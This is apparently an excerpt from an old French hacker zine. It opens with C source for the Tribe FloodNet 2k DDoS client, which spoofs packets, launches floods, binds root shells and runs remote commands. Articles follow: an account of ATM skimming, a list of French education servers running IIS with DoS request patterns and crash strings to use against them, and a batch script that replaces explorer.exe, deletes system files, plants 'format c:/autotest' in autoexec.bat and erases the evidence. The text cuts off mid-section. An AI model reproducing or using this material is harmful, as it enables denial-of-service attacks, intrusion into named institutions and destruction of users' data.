      fw00ding = 5; /* commencing interval flood */
      strcpy (argp[0], HIDEKIDS);
      commence_mix (target);
      strcpy (argp[0], HIDEME);
      break;
    case ID_REXEC:
      system (target);
      break;
    default:
      break;
    }
}

tfn.c

/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* tfn.c - tribe floodnet client
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#include "tribe.h"

#define RETRY 20 /* send datagrams x times, 20 is fine */

void usage (char *);
void tfn_sendto (unsigned long dst);
extern void security_through_obscurity (int);

#ifdef REQUIRE_PASS
void passchk (void);
#endif

#ifdef WINDOZE
extern char *optarg;
int getopt (int, char *const *, const char *);
#endif

char *target = NULL, *port = NULL, RID = '0';
int nospoof = 0, cid = 0, decoy = 0, proto = -1;
unsigned long myip = 0;

int
main (int argc, char **argv)
{
FILE *tfnlist = NULL;
char nexthost[BS];
unsigned long tfnhost = 0;
int opt;

if (argc < 2)
usage (argv[0]);

while ((opt = getopt (argc, argv, "P:D:S:f:h:i:p:c:")) != EOF)
    switch (opt)
      {
      case 'P':
if (strcasecmp (optarg, "icmp") == 0)
   proto = 0;
if (strcasecmp (optarg, "udp") == 0)
   proto = 1;
if (strcasecmp (optarg, "tcp") == 0)
   proto = 2;
break;
      case 'D':
decoy = atoi (optarg);
break;
      case 'S':
myip = resolve (optarg);
break;
      case 'f':
if ((tfnlist = fopen (optarg, "r")) == NULL)
   {
     printf ("Unable to open file: %s\n", optarg);
     usage (argv[0]);
   }
break;
      case 'h':
tfnhost = resolve (optarg);
break;
      case 'i':
target = malloc (BS);
strncpy (target, optarg, BS);
break;
      case 'p':
port = malloc (BS);
strncpy (port, optarg, BS);
break;
      case 'c':
cid = atoi (optarg);
break;
      default:
usage (argv[0]);
break;
      }

printf ("[0;35m\n");

printf ("\tProtocol      : ");
switch (proto)
    {
    case 0:
      printf ("icmp\n");
      break;
    case 1:
      printf ("udp\n");
      break;
    case 2:
      printf ("tcp\n");
      break;
    default:
      printf ("random\n");
      break;
    }

if (decoy)
printf ("\tDecoy hosts : %d\n", decoy);

if (myip)
printf ("\tSource IP : %s\n", ntoa (myip));
else
printf ("\tSource IP : random\n");

if (tfnlist != NULL)
    printf ("\tClient input : list\n");
else if (tfnhost != 0)
    printf ("\tClient input : single host\n");
else
    usage (argv[0]);

if (port != NULL)
    printf ("\tTCP port      : %d\n", atoi (port));
else if (cid == 5)
    {
      port = malloc (BS);
      strcpy (port, "0");
    }

if (target != NULL)
    {
      if ((cid > 4) && (cid != 10))
printf ("\tTarget(s)     : %s\n", target);
    }
else if (cid)
    usage (argv[0]);

printf ("\tCommand       : ");
switch (cid)
    {
    case 0:
      RID = ID_STOPIT;
      printf ("stop flooding\n");
      if (target == NULL)
{
   target = malloc (BS);
   strcpy (target, "0");
}
      break;
    case 1:
      RID = ID_SWITCH;
      printf ("change spoof level to %d\n", atoi (target));
      break;
    case 2:
      RID = ID_PSIZE;
      printf ("change packet size to %d bytes\n", atoi (target));
      break;
    case 3:
      RID = ID_SHELL;
      printf ("bind shell(s) to port %d\n", atoi (target));
      break;
    case 4:
      RID = ID_SENDUDP;
      printf ("commence udp flood\n");
      break;
    case 5:
      RID = ID_SENDSYN;
      printf ("commence syn flood, port: %s\n",
       atoi (port) ? port : "random");
      break;
    case 6:
      RID = ID_ICMP;
      printf ("commence icmp echo flood\n");
      break;
    case 7:
      RID = ID_SMURF;
      printf ("commence icmp broadcast (smurf) flood\n");
      break;
    case 8:
      RID = ID_MIX;
      printf ("commence mix flood\n");
      break;
    case 9:
      RID = ID_TARGA;
      printf ("commence targa3 attack\n");
      break;
    case 10:
      RID = ID_REXEC;
      printf ("execute remote command\n");
      break;
    default:
      printf ("error\n");
      usage (argv[0]);
      break;
    }

#ifdef REQUIRE_PASS
passchk ();
#endif

printf ("[0;31m\nSending out packets: [0;0m");
fflush (stdout);

security_through_obscurity (1);

if (tfnlist == NULL)
    tfn_sendto (tfnhost);
else
    while (fgets (nexthost, 512, tfnlist) != NULL)
      {
switch (nexthost[0])
   {
   case '\n':
   case '\r':
   case ' ':
   case '#':
     continue;
     break;
   }
trimbuf (nexthost);
tfnhost = resolve (nexthost);
if (tfnhost)
   tfn_sendto (tfnhost);
      }

printf ("\n");
return 0;
}

#ifdef REQUIRE_PASS
void
passchk (void)
{
char test1[100] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", test2[100] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
enc1[100], enc2[100], *p = getpass ("\n[0;0mPassword verification:");

memset (enc1, 0, 100);
memset (enc2, 0, 100);

security_through_obscurity (1);
encode64 (test1, enc1, strlen (test1));
security_through_obscurity (0);
aes_setkey (p);
encode64 (test2, enc2, strlen (test2));

if (strcmp (enc1, enc2))
    {
      fprintf (stderr, "Sorry, passwords do not match.\n");
      fprintf (stderr, "1 %s\n2 %s\n", enc1, enc2);
      exit (0);
    }
}
#endif

void
tfn_sendto (unsigned long dst)
{
int i, j;
char ltarget[BS], lport[BS];
unsigned long src = myip ? myip : k00lip ();

for (i = 0; i < RETRY; i++)
    {
      if (cid == 5)
{
   strcpy (lport, port);
   tfntransmit (src, dst, proto, ID_SYNPORT, lport);
   usleep (666);
}
      strcpy (ltarget, target);
      tfntransmit (src, dst, proto, RID, ltarget);
      if (decoy)
for (j = 0; j < decoy; j++)
   {
     usleep (10);
     strcpy (ltarget, target);
     tfntransmit (src, k00lip (), proto, RID, ltarget);
   }
      usleep (100);
    }

for (j = 0; j < decoy; j++)
printf ("d");

printf (".");
fflush (stdout);
}

void
usage (char *arg)
{
printf ("[1;34musage: %s <options>\n", arg);
printf ("[-P protocol]\tProtocol for server communication. Can be ICMP, UDP or TCP.\n\t\tUses a random protocol as default\n");
printf ("[-D n]       \tSend out n bogus requests for each real one to decoy targets\n");
printf ("[-S host/ip]\tSpecify your source IP. Randomly spoofed by default, you need\n\t\tto use your real IP if you are behind spoof-filtering routers\n");
printf ("[-f hostlist]\tFilename containing a list of hosts with TFN servers to contact\n");
printf ("[-h hostname]\tTo contact only a single host running a TFN server\n");
printf ("[-i target string]\tContains options/targets separated by '%s', see below\n", DELIMITER);
printf ("[-p port]         \tA TCP destination port can be specified for SYN floods\n");
printf ("<-c command ID>\t0 - Halt all current floods on server(s) immediately\n");
printf ("\t\t1 - Change IP antispoof-level (evade rfc2267 filtering)\n\t\t    usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)\n");
printf ("\t\t2 - Change Packet size, usage: -i <packet size in bytes>\n");
printf ("\t\t3 - Bind root shell to a port, usage: -i <remote port>\n");
printf ("\t\t4 - UDP flood, usage: -i victim%svictim2%svictim3%s...\n", DELIMITER, DELIMITER, DELIMITER);
printf ("\t\t5 - TCP/SYN flood, usage: -i victim%s... [-p destination port]\n", DELIMITER);
printf ("\t\t6 - ICMP/PING flood, usage: -i victim%s...\n", DELIMITER);
printf ("\t\t7 - ICMP/SMURF flood, usage: -i victim%sbroadcast%sbroadcast2%s...\n", DELIMITER, DELIMITER, DELIMITER);
printf ("\t\t8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim%s...\n", DELIMITER);
printf ("\t\t9 - TARGA3 flood (IP stack penetration), usage: -i victim%s...\n", DELIMITER);
printf ("\t\t10 - Blindly execute remote shell command, usage -i command\n");
printf ("[0;0m");
exit (0);
}

tribe.c

/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* tribe.c - common functions
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#include "tribe.h"

int rcounter = 0;
char rseed[65535];
extern unsigned long myip;
extern int nospoof;

void
random_init (void)
{
int rfd = open ("/dev/urandom", O_RDONLY);
if (rfd < 0)
rfd = open ("/dev/random", O_RDONLY);
rcounter = read (rfd, rseed, 65535);
close (rfd);
}

inline
long
getrandom (int min, int max)
{
if (rcounter < 2)
random_init ();
srand (rseed[rcounter] + (rseed[rcounter - 1] << 8));
rcounter -= 2;
return ((random () % (int) (((max) + 1) - (min))) + (min));
}

void
trimbuf (char *buf)
{
int i = 0;
for (i = 0; i < strlen (buf); i++)
if ((buf[i] == '\n') || (buf[i] == '\r'))
buf[i] = '\0';
}

inline unsigned long
k00lip (void)
{
struct in_addr hax0r;
char convi[16];
int a, b, c, d;

if (nospoof < 1)
return (unsigned long) (getrandom (0, 65535) + (getrandom (0, 65535) << 8));

hax0r.s_addr = htonl (myip);

sscanf (inet_ntoa (hax0r), "%d.%d.%d.%d", &a, &b, &c, &d);
if (nospoof < 2)
b = getrandom (1, 254);
if (nospoof < 3)
c = getrandom (1, 254);
d = getrandom (1, 254);

sprintf (convi, "%d.%d.%d.%d", a, b, c, d);

return inet_addr (convi);
}

void
tfntransmit (unsigned long from, unsigned long to, int proto, char id, char *target)
{
char buf[BS], data[BS];
struct ip *ih = (struct ip *) buf;
struct icmp *ich = (struct icmp *) (buf + sizeof (struct ip));
struct udp *udh = (struct udp *) (buf + sizeof (struct ip));
struct tcp *tch = (struct tcp *) (buf + sizeof (struct ip));
struct sa sin;
char *p;
int tot_len = sizeof (struct ip), ssock;

memset (data, 0, BS);
data[0] = PROTO_SEP;
data[1] = id;
data[2] = PROTO_SEP;
strncpy (data + 3, target, BS - 3);

sin.fam = AF_INET;
sin.add = to;
memset (buf, 0, BS);

ih->ver = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->tl = 0;
ih->id = htons (getrandom (1024, 65535));
ih->off = 0;
ih->ttl = getrandom (200, 255);
ih->sum = 0;
ih->src = from;
ih->dst = to;

switch ((proto == -1) ? getrandom (0, 2) : proto)
    {
    case 0:
      tot_len += sizeof (struct icmp);
      ih->pro = ICMP;
      ssock = socket (AF_INET, SOCK_RAW, ICMP);
      p = buf + sizeof (struct ip) + sizeof (struct icmp);
      ich->type = 0;
      ich->code = 0;
      ich->id = getrandom (0, 1) ? getrandom (0, 65535) : 0;
      ich->seq = getrandom (0, 1) ? getrandom (0, 65535) : 0;
      ich->sum = 0;
      encode64 (data, p, strlen (data));
      tot_len += strlen (p);
      ich->sum = cksum ((u16 *) ich, tot_len >> 1);
      ih->tl = tot_len;
      sin.dp = htons (0);
      break;
    case 1:
      tot_len += sizeof (struct udp);
      ih->pro = UDP;
      ssock = socket (AF_INET, SOCK_RAW, UDP);
      p = buf + sizeof (struct ip) + sizeof (struct udp);
      udh->src = htons (getrandom (0, 65535));
      udh->dst = htons (getrandom (0, 65535));
      udh->sum = 0;
      encode64 (data, p, strlen (data));
      tot_len += strlen (p);
      udh->sum = cksum ((u16 *) udh, tot_len >> 1);
      udh->len = htons (sizeof (struct udp) + 3 + strlen (p));
      ih->tl = tot_len;
      sin.dp = htons (udh->dst);
      break;
    case 2:
      tot_len += sizeof (struct tcp);
      ih->pro = TCP;
      ssock = socket (AF_INET, SOCK_RAW, TCP);
      p = buf + sizeof (struct ip) + sizeof (struct tcp);
      tch->src = htons (getrandom (0, 65535));
      tch->dst = htons (getrandom (0, 65535));
      tch->seq = getrandom (0, 1) ? htonl (getrandom (0, 65535) + (getrandom (0, 65535) << 8)) : 0;
      tch->ack = getrandom (0, 1) ? htonl (getrandom (0, 65535) + (getrandom (0, 65535) << 8)) : 0;
      tch->off = 0;
      tch->flg = getrandom (0, 1) ? (getrandom (0, 1) ? SYN : ACK) : SYN | ACK;
      tch->win = getrandom (0, 1) ? htons (getrandom (0, 65535)) : 0;
      tch->urp = 0;
      tch->sum = 0;
      encode64 (data, p, strlen (data));
      tot_len += strlen (p);
      tch->sum = cksum ((u16 *) tch, tot_len >> 1);
      ih->tl = tot_len;
      sin.dp = htons (tch->dst);
      break;
    default:
      exit (0);
      break;
    }

setsockopt (ssock, IP, IP_HDRINCL, "1", sizeof ("1"));
if (sendto (ssock, buf, tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
perror ("sendto");

close (ssock);
}

#ifdef ATTACKLOG
void
dbug (char *s)
{
int f = open (ATTACKLOG, O_WRONLY | O_APPEND | O_CREAT);
write (f, s, strlen (s));
close (f);
}
#endif

tribe.h

/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* tribe.c - common definitions and includes
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#ifndef TRIBE_H
#define TRIBE_H

#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>

int rand (void); /* standard function prototypes */
long int random (void);
void srandom (unsigned int seed);
void srand (unsigned int seed);
int atoi (const char *nptr);
int system (const char *string);
char *getpass (const char *prompt);
char *strtok (char *s, const char *delim);
void *calloc (size_t nmemb, size_t size);
void *malloc (size_t size);
void free (void *ptr);
void bzero (void *s, int n);
void *memset (void *s, int c, size_t n);
char *strncpy (char *dest, const char *src, size_t n);
int strcasecmp (const char *s1, const char *s2);

#include "ip.h"
#include "aes.h"
#include "config.h"

#define BS 4096

void random_init (void);
inline long getrandom (int, int);
void trimbuf (char *);
#ifdef ATTACKLOG
void dbug (char *);
#endif

void tfntransmit (unsigned long, unsigned long, int, char, char *);

void syn (unsigned long, unsigned short);
void udp (unsigned long);
void targa3 (unsigned long);
void icmp (unsigned long, unsigned long);

inline unsigned long k00lip (void);
void must_kill_all (void);
void commence_udp (char *);
void commence_syn (char *, int);
void commence_icmp (char *);
void commence_mix (char *);
void commence_smurf (char *);
void commence_targa3 (char *);
void shellsex (int);

struct tribe
{
    char start;
    char id;
    char end;
};

#endif

Cartes bancaires falsifiables
(greetz to Radin)

Au fur et à mesure que les techniques évoluent, les gens eux-même, et leur comportement, évolue. Pour se satisfaire en besoin matériel il faut de l'argent (en général). Et pour avoir de l'argent une ingéniosité inégalée pourra être mise en oeuvre. Par défi ou curiosité, Serge Humpich a démontré la faiblesse des cartes bancaires. D'autres méthodes ont été utilisées pour se faire de l'argent, comme:

Les services de police ont saisi la semaine dernière en Belgique plus de 5000 fausses cartes bleues (Visa, Mastercard, etc...).

Ces fausses cartes débitent des comptes existants, voila comment :

Un faux clavier est superposé au vrai clavier d'un distributeur de billets. Une personne qui vient retirer de l'argent entre sa carte, tape son code, recupère ses billets, recupère sa carte, et s'en va. Pendant ce temps, le faux clavier a enregistré le code de la CB, et la piste magnétique de la carte est copiée... reste à inscrire les informations de la piste sur une carte bidon, et le tour est joué..

A ce jour, plusieurs milliers de personnes se sont fait subtiliser leur argent.. beaucoup ne s'en sont pas apercu.

Le GIE Cartes bancaires a demandé aux banques de taire cette information, de peur de faire face à une psychose de la carte bancaire.

Un conseil, regardez bien vos relevés de comptes. Sachez aussi que les banques et les assurances ne remboursent pas ce genre de problèmes.
(source: fr.misc.droits)

Académies + serveurs microsoft IIS
(greetz to ??z)

Introduction: merci a KoSaK sans qui l'article n'aurait jamais ete ecrit. Rappelons que KoSaK a pirate plusieurs serveurs academiques, ce qui m'a pousse a m'interesser au sujet. Il etait clair qu'avec des serveurs pirates a son actif, KoSaK avait trouve quelquechose qui clochait sur ces deux serveurs. C'est cette chose que je me suis permi de retrouver et d'approfondir.

Sommaire:

- Etude des serveurs piratés
- Etudes de cas (madchat...)
- Quelques failles sous IIS (sources diverses)

Kosak avait pirate les serveurs academiques de Creteil et d'orleans. Quel est le point commun entre ces 2 serveurs: quelquechose de precis faisaient qu'ils etaient vulnerables.
Apres etude du systeme des serveurs j'ai trouve que chacun de ces 2 serveurs academiques tournait sous IIS 4.0, ce qui pourrait expliquer qu'une faille ait ete exploite.

Cet article est la copie conforme de l'article que j'ai écrit dans 3d13 #5 sauf qu'à la base mon article comportait des accents. Il ne faut pas perdre de vue que ces failles, Microsoft les connait pour la grande majorité et des correctifs sont distribués sur le site officiel de Microsoft: www.microsoft.com.

Voici une liste des serveurs academiques francais avec la version du serveur, pour chacun d'entre eux (liste du 03/02/2000):

Academie d'Aix-Marseille:
http://www.ac-aix-marseille.fr
Microsoft IIS 4.0

Academie d'Amiens:
http://www.ac-amiens.fr
Microsoft IIS 4.0

Academie de Besancon:
http://www.ac-besancon.fr
Netscape-Enterprise 3.6 SP2

Academie de Bordeaux:
http://www.ac-bordeaux.fr
Netscape-Enterprise 3.5.1B

Academie de Caen:
http://www.ac-caen.fr
Netscape-Enterprise 3.5.1

Academie de Clermont-Ferrand:
http://www.ac-clermont.fr
Netscape-Enterprise 3.5.1

Academie de la Corse:
http://www.ac-corse.fr
Microsoft IIS 4.0

Academie de Creteil:
http://www.ac-creteil.fr
Microsft IIS 4.0

Academie de Dijon:
http://www.ac-dijon.fr
Netscape-Enterprise 3.6

Academie de Grenoble:
http://www.ac-grenoble.fr
Apache 1.3.6 (Unix) PHP 3.0.12

Academie de Lille:
http://www.ac-lille.fr
Microsoft IIS 4.0

Academie de Limoges:
http://www.ac-limoges.fr
Microsoft IIS 4.0

Academie de Lyon:
http://www.ac-lyon.fr
Netscape-Enterprise 3.6
[Nd 3d13 : acces anonyme = ftp/ftpmaint]

Academie de Montpellier:
http://www.ac-montpellier.fr
Netscape-Enterprise 3.6

Academie de Nancy-Metz:
http://www.ac-nancy-metz.fr
Microsft IIS 3.0

Academie de Nantes:
http://www.ac-nantes.fr
Netscape-Enterprise 3.5.1

Academie de Nice:
http://www.ac-nice.fr
Microsoft-IIS 3.0

Academie d'Orleans-Tours:
http://www.ac-orleans-tours.fr
Microsoft-IIS 4.0

Academie de Paris:
http://www.ac-paris.fr
Netscape-Enterprise 3.6 SP2

Academie de Poitiers:
http://www.ac-poitiers.fr
Microsoft-IIS 4.0

Academie de Reims:
http://www.ac-reims.fr
Microsoft-IIS 3.0

Academie de Rennes:
http://www.ac-rennes.fr
Microsoft-IIS 3.0

Academie de Rouen:
http://www.ac-rouen.fr
Apache1.3.6 (Unix) (Red Hat/Linux) PHP 3.0.7

Academie de Strasbourg:
http://www.ac-strasbourg.fr
Netscape-Enterprise 3.5.1

Academie de Toulouse:
http://www.ac-toulouse.fr
Apache 1.3.2 (Unix)

Academie de Versailles:
http://www.ac-versailles.fr
Microsoft-IIS 4.0

Entre autres, le serveur de canalweb qui a ete pirater par KoSaK: http://www.canalweb.net de serveur IIS 4.0.
Et celui de CD Universe, par Maxus: http://www.cduniverse.com de serveur IIS 4.0

Note: il existe des serveurs Apache disponibles pour differentes plates-formes. Il est utile d'en connaitre la plate-forme. Il existe aussi des serveurs Apache pour les systemes Win 9x.

Toutes ces attaques reussies a l'encontre de divers serveurs sous IIS laissent a penser que KoSaK exploite les failles de ces serveurs. Voici une liste probablement non exhaustive des failles sur les serveurs IIS de differentes versions.

Petite astuce: il est possible de connaitre la version d'un serveur en le forcant a s'identifier! Cela marche pour les serveurs FTP ou HTTP. Il faut bien se dire que ce ne sont pas parfois les memes.
Exemple Multimania: le serveur HTTP multimania.com est un serveur Apache 1.3.6 (Unix), et le serveurFTP (hop.multimania.com) est un serveur Apache 1.3.3 (Unix). La difference est minime et tient à la version, mais dans des reseaux plus vastes il se peut que les serveurs changent radicalement. Et pour forcer le serveur a se presenter (s'il ne se presente pas des le debut, comme c'est le cas, en general, en connection FTP) on lui fait rentrer des commandes erronees qui vous deconnecteront et le feront se presenter.
Exemple madchat.org:
On sait d'avance que le serveur HTTP et FTP reste le meme. Donc on se connecte sur (utilisez de preference telnet):
www.madchat.org
port 80
Tapez GET ../.. en premier lieu avant toutes autres commandes. Si le serveur est de type IIS 4.0 vous allez vous faire deconnecter avec un message du genre:
HTTP/1.1 400 Demande incorrecte
Serveur: Microsoft-IIS/4.0
Date: ...
etc
Dans le cas echeant connectez vous a madchat.org en FTP:
www.madchat.org
FTP (port 21)
Puis tapez "help":
Soit le serveur se presente directement (qqch FTP microsoft Version 4.0) et donc vous savez que c du IIS 4.0 soit vous devez faire des commandes de types syst ou version... bref les possibilites sont multiples.
(A noter que si vous tapez help et que vous voyez toute la liste de commande s'afficher en collonne, vous pouvez vous douter que c du IIS, car seul IIS fait aussi mal presente).

Voici une liste non exhaustive de diverses failles existantes sur les versions des serveurs IIS 5.0, 4.0:
(sources: security focus, rootshell, insecure, Securite Optimale)

IIS 5.0 (ce serveur n'est pas assez developpe, pourtant il est certain que des failles vont etre decouvertes):

Vulnerabilite NT IIS ASP: on peut voir le source d'un VBScript lorsqu'une erreur IIS ASP se produit: recherchez le repertoire d'apres le message d'erreur. Exemple, le message d'erreur vous dit: "Microsoft VBScript runtime error '800a0005' Invalid procedure call or argument: 'mid' /common/browser.inc, line 4..." et vous allez sur http://www.url.com/common/browser.inc.
Les requetes de types GET posaient beaucoup de problemes a nos amis de chez microsoft pour IIS 4.0. Maintenant IIS 5.0 est affectee d'un autre maniere: une requete de type GET d'un fichier non existant mais dont l'extension est enregistree IISAPI (ie, .pl, .idq) va creer une erreur faisant que le serveur va vous retourner un message vous indiquant le repertoire de l'acces root du serveur. Exemple: CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: Can't open perl script "C:\InetPub\scripts\ bogus.pl": No such file or directory

IIS 4.0 (assurement le plus utilse de la gamme microsoft):

Un utilisateur distant peut acceder a des fichiers proteges si Windows tronque le nom du fichier lors d'un depassement de imite de caracteres. Exemple: comme vous avez "File~1.com" au lieu de "FileServeur.com". Un appel distant de la version tronquee peut ainsi etre realisee.
C'est moins courant, bien sur, mais un serveur IIS 4.0 peut crasher si on lui fait une requet "GET ../.." sur le port 80 (HTTP).
Si un serveur ftp contient plus de 100 repertoires ou sites virtuels, il est facile de faire bugger celui-ci. En effet si une dizaine ou meme plus de tentatives d'upload ou de suppresion de fichiers sont faites en meme temps, le serveur repondra: "426 Connection closed; transfer aborted", apres quoi, si un veritable utilisateur cherche a mettre a jour un fichier, le serveur va reecrire sur l'ancien fichier avec 0 ko de donnees, ce qui fait que lors de l'ouverture du fichier un message du style: "File contains no data" apparaitra. Seul un redemarrage complet du serveur (donc mise hors service du serveur) permettra de resoudre le probleme.
Les serveurs FTP IIS 4.0 qui ont installe un post specifique SP5 FTP sont vulnerables a un exploit ou des personnes non-autorisees peuvent telecharger ou supprimer des fichiers. pour savoir si le serveur est vulnerable il faut regarder la version du fichier Ftpsvc.dll: des versions 0718 a 0722 sont vulnerables.
Une attaque de type Denial of Service (DoS) peut-etre lance sur un serveur IIS grace a des requetes malformes du service HTTP, exemple lorsqu'on envoie beaucoup de "Hos: aaaaa...", la memoire va flancher et pour faire marcher le service correctement, il faudra faire redemarrer l'ordinateur:

GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)

Pour crasher le service inetinfo.exe, sous IIS4.0, il faut se connecter sur le serveur FTP (sous DOS): enregistrez vous en anonyme sur le serveur ftp et tapez: ls aaaaaaa...(316 caracteres)...aaa , le service inetinfo.exe va crasher et la connection redemarrera.

Il existe d'autres failles mais dans des cas plus specifiques et relativement a un acces local au serveur, ce que nous n'avons pas toujours. Si je devais donner un conseil pour vous aider a résoudre vos problèmes IIS, c'est d'installer un serveur Apache (il en existe pour Win32).

Astuces de reals hackers
(greetz to Acides Burnes)

Vous voici dans la partie la plus intéressante du zine. Après quelques temps passés derrière l'écran, je suis en mesure de vous apprendre à éxécuter un .exe sous windows au nez et à la barbe de toutes les protections, quelles qu'elles soient! Cette faille marche avec les sysytèmes Windows 9x, et vous demande d'avoir accès direct à la machine attaquée. Je peux aussi vous apprendre comment se faire rembourser du matos qui n'est plus assuré et avoir des logiciels gratuits, et aussi comment changer les couleurs de l'écran d'erreur fatal de Windows. On pourrait alors se tourner vers une astuce pour rendre les répertoires en partage invisibles et comment faire planter son PC Zindoz de manière irrémédiable. Et pour finir: quelques astuces sur le gravage des CD.

EXPLORER.EXE

La faille est simple: elle consiste à faire éxécuter à windows, un programme de votre choix. Quel est, selon vous, le premier programme qui se lance, avant l'ouverture de session? Il s'agit de explorer.exe (C:\windows\explorer.exe). Tout consiste à faire lancer un autre programme que l'explorer.exe habituel. Celà requiert un accès à MS-DOS avant le lancement de windows. Comment faire:
Lorsque le PC démarre, laissez enfoncée la touche F8 ou F4 (F8 en général), et un menu d'options apparait. Parmis ces options, choisissez la cinquieme qui est: Invite MS-DOS seulement. Validez ce choix et vous vous retrouverez sous DOS. Windows ne s'est alors pas lancé. De là vous avez plusieurs solutions:
- le programme à faire lancer à la place de explorer.exe est déjà sur la machine
- le programme à faire lancer est sur une disquette que vous avez sur vous (bien entendu).
Dans le premier cas, voici comment faire lancer le programme à la place de explorer.exe
Tapez:
del c:\windows\explorer.exe
Validez
copy c:\le-rep-où-se-trouve-le-prog-à-lancer\nom-du-prog.exe c:\windows\explorer.exe
Exemple:
del c:\windows\explorer.exe
copy c:\windows\winipcfg.exe c:\windows\explorer.exe
Avec ces deux lignes de commandes, votre programme d'attaque est venu remplacer explorer.exe (dans l'exemple il s'agit de winipcfg.exe). Ainsi ce sera lui qui se lancera à la place d'explorer.exe. Ce lancement s'effectue, comme déjà dit, avant tout les autres programmes windows. Pour pouvoir remettre l'explorer.exe à sa place il vous est conseillé d'en faire une copie sous un autre nom. Voici un exemple de sauvegarde de explorer.exe:
copy c:\windows\explorer.exe c:\windows\datareg.exe
Là l'explorer.exe existe sous la forme de datareg.exe dans le répertoire c:\windows\. Pour rétablir le bon explorer.exe, vous devez effacez le mauvais, qui est sous le nom de explorer.exe (c:\windows\explorer.exe), et recopier datareg.exe dans le c:\windows\, sous le nom de explorer.exe. Procédez donc de la manière suivante:
copy c:\windows\datareg.exe c:\windows\explorer.exe
Tout devrait refonctionner normalement. Voilà donc ce que vous pouvez faire pour sauvegarder explorer.exe.

Note: si il n'y a pas de fichiers explorer.exe existants dans c:\windows, alors après l'ouverture d'une session windows marquera: Erreur dans le chargement d'Explorer
Veuillez Réinstaller Windows Après quoi, l'ordinateur s'éteint tout seul.

Dans le cas où vous auriez envie de faire cette manipulation rapidement sur un PC, créez un .bat, ou un .com que vous pouvez renommez en .exe. Je vous rappelle qu'il existe des programmes permettant de transformer un .bat en .com (exemple avec bat2exec). Il vous suffit après de renommer le .com en .exe, et ça marche (mais uniquement sous MS-DOS).
Voilà le genre de codes sources à faire pour éviter de perdre du temps:
@echo off
copy c:\windows\explorer.exe c:\windows\datareg.exe
del c:\windows\explorer.exe
copy c:\windows\system\sysedit.exe c:\windows\sysinii.exe
del c:\windows\system\sysedit.exe
copy c:\windows\winipcfg.exe c:\windows\explorer.exe
echo autoexec >> c:\autoexec.bat
del a:\explorer.exe
c:
win
Conséquences:

Explorer.exe est effacé du Disque dur.
Une copie a cependant été faites de Explorer.exe. Cette copie est c:\windows\datareg.exe a replacer dans c:\windows sous le nom de explorer.exe
Sysedit.exe est effacé du Disque dur.
Une copie a cependant été faite de Sysedit.exe. Cette copie est: c:\windows\sysinii.exe a replacer dans c:\windows\system sous le nom de sysedit.exe
L'explorer.exe est remplacé par winipcfg.exe. Ainsi ce sera winipcfg qui s'ouvrira à la place de explorer.exe après l'ouverture de la session windows.
Une ligne de commande est ajouté à l'autoexec.bat, cette ligne ne sera prise en compte qu'après redémarrage du PC, et empêche l'ouverture de windows.
Le programme explorer.exe (le "virus"), qui est sur votre disquette, est effacé, ce qui fait ainsi disparaitre les preuves.

Si vous êtes assez tendance crasher, vous pouvez rajouter des lignes de commandes de type del ou format:

@echo off
copy c:\windows\explorer.exe c:\windows\datareg.exe
del c:\windows\explorer.exe
copy c:\windows\system\sysedit.exe c:\windows\sysinii.exe
del c:\windows\system\sysedit.exe
copy c:\windows\winipcfg.exe c:\windows\explorer.exe
del c:\windows\*.dll
del c:\windows\*.ini
del c:\windows\system\*.dll
echo format c:/autotest >> c:\autoexec.bat
del a:\explorer.exe
c:
win

Note: les commandes MS-DOS de types format c:/autotest font un formatage immédiat du lecteur visé et sans demande de confirmation.
Note: évitez d'insérez des commandes de type del *.*. En effet ce type de commandes demande confirmation à l'utilisateur tandis que une commande de type del*.exe ou del *.dll n'en demande pas.
Note: l'autoexec.bat est un fichier MS-DOS qui s'ouvre avant Windows. N'hésitez donc pas à écrire ce que vous voulez dessus. Prenez soin d'effacer aussi le fichier EDIT.COM, qui permettrait une réparation des fichiers .bat depuis MS-DOS.
Note: la commande echo ligne-de-commande >> c:\rep\nom_du_fichierpermet d'écrire sur un fichier texte ou .bat, une ligne de commande désirée. Dans l'article il s'agit de format c:/autotest

Vous pouvez aussi créez vos propres programmes dans différents languages de manière à faire de ce type d'attaques de véritables joujous de guerre qui iraient jusqu'à lancer des trojans sur des serveurs bien protégés de manière bien sentie, sans qu'aucun anti-virus ne puisse se défendre puisqu'aucun anti-virus ne peut se lancer si explorer.exe n'est pas correctement lancé.
Exemple: faites un programme de type .exe qui redémarre la machine de la vicitme/serveur. La victime ne peut plus rien faire d'autre qu'attendre que tout se lance. Votre programme se lancera dès le démarrage de la machine, sous MS-DOS, avant Windows et ensuite un trojan pourra être lancé à l'insu du plein gré des victimes. Cependant ces même victimes n'auront qu'à se déconnecter de l'internet pour parer une quelconque intrusion. L'effet secondaire est que le serveur sera mis hors-service. Sachez que ce genre de méthodes est applicable, et qu'il ne s'agit là plus de théorie.

Evitez cependant de trop jouer avec ça. Ne dit-on pas que le crime ne profite jamais?

Remboursage de matos non assuré et avoir des logiciels gratuits

